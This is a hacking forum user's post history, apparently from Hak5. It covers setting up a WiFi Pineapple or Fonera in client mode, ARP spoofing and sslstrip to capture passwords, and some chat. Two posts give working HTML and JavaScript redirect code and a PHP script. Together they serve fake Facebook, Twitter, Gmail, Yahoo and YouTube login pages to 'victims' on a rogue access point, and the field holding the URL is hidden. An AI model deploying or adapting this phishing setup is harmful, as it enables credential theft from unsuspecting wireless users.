Jump to content

bmccutch

Active Members
  • Posts

    17
  • Joined

  • Last visited

Posts posted by bmccutch

  1. Sorry to bring this back up again but i've tried everything and cannot find a solution. I thought i figured it out earlier but when I tried to do something with it I realized it does not seem to obtain a ip address from the ap's dhcp server so i think im missing something. The following commands is what I used to get it to connect to the access point:

    wlanconfig ath0 destroy
    wlanconfig ath0 create wlandev wifi0 wlanmode managed 2>&1 > /dev/null
    iwconfig ath0 essid 'dlink'
    iwconfig ath0 key off
    ifconfig ath0 up
    

  2. Somewhere in the web interface there is a "site survey" button, which will show you available networks and let you connect to them.

    Connecting manually using iwconfig also works.

    You're gonna have to figure out the rest of the settings by yourself, because that depends on what are you trying to achieve.

    Oddly enough the "site survey" does not have a connect button but i figured it out with using iwconfig. Thanks for your help

  3. Very true. I'm actually looking into doing all of that with just an iPod touch.

    netbooks are a good inbetween though.

    Yea if i still had my old jailbroken touch i would definitely try that as well. And I agree with you about the netbooks im actually looking into getting a cheap one sometime soon.

    Yes it is possible to connect the fonera as a client, I've tried it.

    In my case to achieve routing from wifi in client mode to wired I had to turn off bridging, firewall and set up a route manually.

    can you please share with me how you got it to connect?

  4. Question being, if you have a laptop you are using to give the pineapple commands. Why not just use the laptop and cut out the slower device (Jasager/Pineapple) from the mix?

    it was just a "out of curiosity" thing but i've actually been using a pocket pc with putty connected to it to issue commands. i thought it would be neat to do it all from the pocket pc and pineapple rather than having to lug around my 10 pound 7 yr old laptop lol

  5. Connecting the pineapple wirelessly to an access point is not the intended purpose of it.

    yes im aware of that and fully understand how the pineapple works, i was just curious if it was possible after finding the client mode option in webif. I was thinking if i could do so i could try a couple of things including arp spoofing my wifi network with it. besides what fun is it using things for their intended purpose :P

  6. If I remember correctly at least a year ago it was impossible to get iPhones wifi chip to monitor mode. I had iTouch 2gn.

    yea i'm pretty sure it does not supports it, and im sure it does not support packet injection either unfortunately.

  7. It might be possible but obviously you would need a jailbroken iphone. I used to have an app; i think it was called PDAnet but with it you could create a wireless hotspot for sharing your data connection, so i know creating the access point is possible but i dont know about running jasager on it. It would be really neat to see though.

  8. I pretty sure flash memory can only be rewritten a certain amount of times which is why i assume someone thought it was a issue but im also pretty certain its nothing to really worry too much about as i was reading about a guy who wrote a program to test his usb drive it and it took 90.5 million writes before it finally died.

  9. Hello everyone my name is Brandon aka bmccutch, I just found hak5 recently and already learned so much, keep up the great work.

    Favourite game: Grand Theft Auto, Oblivion

    Favourite OS: Backtrack Linux

    Favourite console: PS3

    Nationality: American

    Accent: none that I'm aware of

    Sex: Male

    Age: 17

    Race: Caucasian

    Height: 5'11"

    Status: pimpin lol

    Favourite band: Red Hot Chili Peppers

    Favourite Pinup: Jessica Alba

    Hobbies: computers, games, electronics, running, biking, etc.

    Languages: English, C#, PHP

    Car: does a bike count lol

    Occupation: None at the moment

  10. That worked perfectly, great work. my only change was to avoid the textbox containing the url from being displayed by adding:

    document.theform.host.style.visibility='hidden';

    <html>
    <head>
    </head>
    <body>
    <form action="index.php" method="POST" name="theform">
    <input type="text" name="host" value=""/>
    </form>
    <script type="text/javascript">
    document.theform.host.style.visibility='hidden';
    document.theform.host.setAttribute("value",window.location);
    document.theform.submit();
    </script>
    </body>
    </html>
    

    EDIT: Also just a thought if your worried about the browser not having java enabled you could always have a script checking if its disabled and either just rickroll them or try the other php method

  11. It looks like the "HTTP_HOST" variable isnt set by either this version of php or by the server (or whatever sets it lol)

    I threw together a quick rough fix for you though. I say rough because the victims will need to have javascript enabled...

    index.html

    <html>
    <head>
    </head>
    <body>
    <form action="index.php" method="POST" name="theform">
    <input type="text" name="host" value=""/>
    </form>
    <script type="text/javascript">
    document.theform.host.setAttribute("value",window.location);
    document.theform.submit();
    </script>
    </body>
    </html>

    index.php (named it index.php because it doesnt redirect, it displays the contents of the phishing pages instead of redirecting to them)

    <?php
    error_reporting(0);
    $ref = $_POST['host'];
    
    if (strpos($ref, "facebook.com"))		{ include('facebook.html'); }
    else if (strpos($ref, "twitter.com"))		{ include('twitter.html'); }
    else if (strpos($ref, "gmail.com") || 
    	  strpos($ref, "mail.google.com"))	{ include('gmail.html'); }
    else if (strpos($ref, "yahoo.com"))		{ include('yahoo.html'); }
    else if (strpos($ref, "youtube.com"))		{ include('youtube.html'); }
    else						{ include('peets.html'); }
    ?>

    That worked perfectly, great work. my only change was to avoid the textbox containing the url from being displayed by adding:

    document.theform.host.style.visibility='hidden';

    <html>
    <head>
    </head>
    <body>
    <form action="index.php" method="POST" name="theform">
    <input type="text" name="host" value=""/>
    </form>
    <script type="text/javascript">
    document.theform.host.style.visibility='hidden';
    document.theform.host.setAttribute("value",window.location);
    document.theform.submit();
    </script>
    </body>
    </html>
    

  12. Hello, I am pretty new with man in the middle attacks but i know how to use arpspoof and stripssl to capture passwords. I was wondering if it was possible to use this to "fake" certain webpages like redirecting them to another page?

    thanks

×
×
  • Create New...